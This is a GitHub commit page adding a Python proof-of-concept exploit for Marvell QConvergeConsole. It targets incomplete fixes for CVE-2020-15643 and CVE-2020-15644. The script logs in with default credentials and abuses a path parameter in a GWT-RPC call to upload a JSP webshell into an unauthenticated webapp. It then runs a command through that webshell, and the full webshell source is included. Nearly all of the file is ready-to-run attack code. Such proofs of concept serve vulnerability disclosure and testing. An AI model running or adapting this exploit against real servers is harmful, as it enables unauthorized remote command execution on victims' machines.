Skip to content

Commit 66108f6

Browse files
committed
adding marvell qcc PoC
1 parent e9205a1 commit 66108f6

File tree

1 file changed

+158
-0
lines changed

1 file changed

+158
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
import http.server, requests, socket
2+
import os, sys, threading, argparse, json
3+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
4+
5+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
6+
7+
def gen_jsp_webshell():
8+
jsp = b'''
9+
<%@ page import="java.util.*,java.io.*"%>
10+
<HTML><BODY>
11+
<FORM METHOD="GET" NAME="myform" ACTION="">
12+
<INPUT TYPE="text" NAME="cmd">
13+
<INPUT TYPE="submit" VALUE="Send">
14+
</FORM>
15+
<pre>
16+
<%
17+
if (request.getParameter("cmd") != null) {
18+
out.println("Command: " + request.getParameter("cmd") + "<BR>");
19+
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
20+
OutputStream os = p.getOutputStream();
21+
InputStream in = p.getInputStream();
22+
DataInputStream dis = new DataInputStream(in);
23+
String disr = dis.readLine();
24+
while ( disr != null ) {
25+
out.println(disr);
26+
disr = dis.readLine();
27+
}
28+
}
29+
%>
30+
</pre>
31+
</BODY></HTML>'''
32+
return jsp
33+
34+
35+
#
36+
# MAIN
37+
#
38+
descr = 'This script uploads a JSP wehshell and sends a command to it.'
39+
40+
parser = argparse.ArgumentParser(descr, formatter_class=argparse.RawTextHelpFormatter)
41+
required = parser.add_argument_group('required arguments')
42+
required.add_argument('-t', '--target',required=True, help='Target host')
43+
parser.add_argument('-p', '--port', type=int, default=8080, help='QConvergeConsole GUI web server port, default: %(default)s')
44+
parser.add_argument('-U', '--user', default='QCC', help='User name, default: %(default)s')
45+
parser.add_argument('-P', '--pass', dest = 'password', default='config', help='User password, default: %(default)s')
46+
parser.add_argument('-s', '--tls', action='store_true', help='Use TLS connection')
47+
parser.add_argument('-v', '--vuln', type=int, choices=[1,2], default=1,
48+
help = 'Vulnerability to exploit:\n'
49+
' 1 - CVE-2020-15643 incomplete fix; saveAsText prePath parameter\n'
50+
' 2 - CVE-2020-15644 incomplete fix; setAppFileBytes prePath parameter\n')
51+
52+
args = parser.parse_args()
53+
host = args.target
54+
port = args.port
55+
user = args.user
56+
password = args.password
57+
use_tls = args.tls
58+
vuln = args.vuln
59+
60+
print('Logging in with credentials %s/%s' % (user, password))
61+
62+
webapp = 'QConvergeConsole'
63+
if use_tls:
64+
scheme = 'https'
65+
else:
66+
scheme = 'http'
67+
68+
# Get a login form
69+
url = '%s://%s:%d/%s/' % (scheme, host, port, webapp)
70+
r = requests.get(url, verify=False)
71+
sid = r.cookies['JSESSIONID']
72+
if sid is None:
73+
sys.exit('Failed to get a login session ID')
74+
75+
# Perform login
76+
url = '%s://%s:%d/%s/j_security_check' % (scheme, host, port, webapp)
77+
cookies = {'JSESSIONID':sid}
78+
data = {'j_username':user, 'j_password':password}
79+
r = requests.post(url, cookies=cookies, data=data, verify=False, allow_redirects=False)
80+
if r.status_code != 302:
81+
sys.exit('Login failed')
82+
83+
location = r.headers['Location']
84+
if location.startswith('/'):
85+
location = location[1:]
86+
87+
# Get an authenticated session ID
88+
url = '%s://%s:%d/%s' % (scheme, host, port, location)
89+
r = requests.get(url, cookies= cookies, verify=False)
90+
sid = r.cookies['JSESSIONID']
91+
if sid is None:
92+
sys.exit('Failed to get an authenticated session ID')
93+
94+
#
95+
# Upload JSP webshell
96+
#
97+
98+
# Base directory for the QCCAgentInstallers webapp, which
99+
# does not require authentication.
100+
noauth_webapp = 'QCCAgentInstallers'
101+
upload_dir = '%s/%s' % ('webapps', noauth_webapp)
102+
upload_file = '%s_%d.jsp' % ('webshell', vuln)
103+
104+
jsp = gen_jsp_webshell()
105+
jsp_bytes = ''
106+
for b in jsp:
107+
jsp_bytes += '%d|' % (b)
108+
109+
print('Uploading %s to directory %s' % (upload_file, upload_dir))
110+
url = '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/gwttestservice' % (scheme, host, port, webapp)
111+
112+
headers = {'Content-Type':'text/x-gwt-rpc; charset=UTF-8', 'X-GWT-Permutation': 'deadbeef'}
113+
cookies = {'JSESSIONID':sid}
114+
115+
if vuln == 1:
116+
data = '7|0|8|'
117+
data += '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/|' % (scheme, host, port, webapp)
118+
data += 'serialization_policy|'
119+
data += 'com.qlogic.qms.hba.gwt.client.GWTTestService|'
120+
data += 'saveAsText|'
121+
data += 'java.lang.String/2004016611|'
122+
data += '[B/3308590456|'
123+
data += '%s|' % (upload_dir)
124+
data += '%s|' % (upload_file)
125+
data += '1|2|3|4|3|5|5|6|7|8|6|'
126+
data += '%d|' % (len(jsp))
127+
data += jsp_bytes
128+
elif vuln == 2:
129+
data = '7|0|9|'
130+
data += '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/|' % (scheme, host, port, webapp)
131+
data += 'serialization_policy|'
132+
data += 'com.qlogic.qms.hba.gwt.client.GWTTestService|'
133+
data += 'setAppFileBytes|'
134+
data += 'java.lang.String/2004016611|'
135+
data += 'I|'
136+
data += '[B/3308590456|'
137+
data += '%s|' % (upload_dir)
138+
data += '%s|' % (upload_file)
139+
data += '1|2|3|4|5|5|5|6|7|6|8|9|4|7|'
140+
data += '%d|' % (len(jsp))
141+
data += jsp_bytes
142+
data += '1|'
143+
144+
r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
145+
if not r.text.startswith('//OK'):
146+
print(r.text)
147+
sys.exit('Failed to upload %s to directory %s' % (upload_file, upload_dir))
148+
149+
cmd = 'whoami'
150+
params = {'cmd': cmd}
151+
url = '%s://%s:%d/%s/%s' % (scheme, host, port, noauth_webapp, upload_file)
152+
url = requests.Request('GET', url, params=params).prepare().url
153+
print('Issuing command: %s' % (url))
154+
r = requests.get(url, params=params, verify=False)
155+
if r.status_code != 200:
156+
sys.exit('Failed to execute the command. \nIt is possible that an anti-virus software (e.g. Windows Defender) on the remote host removed the webshell once it is uploaded.')
157+
158+
print(r.text)

0 commit comments

Comments
 (0)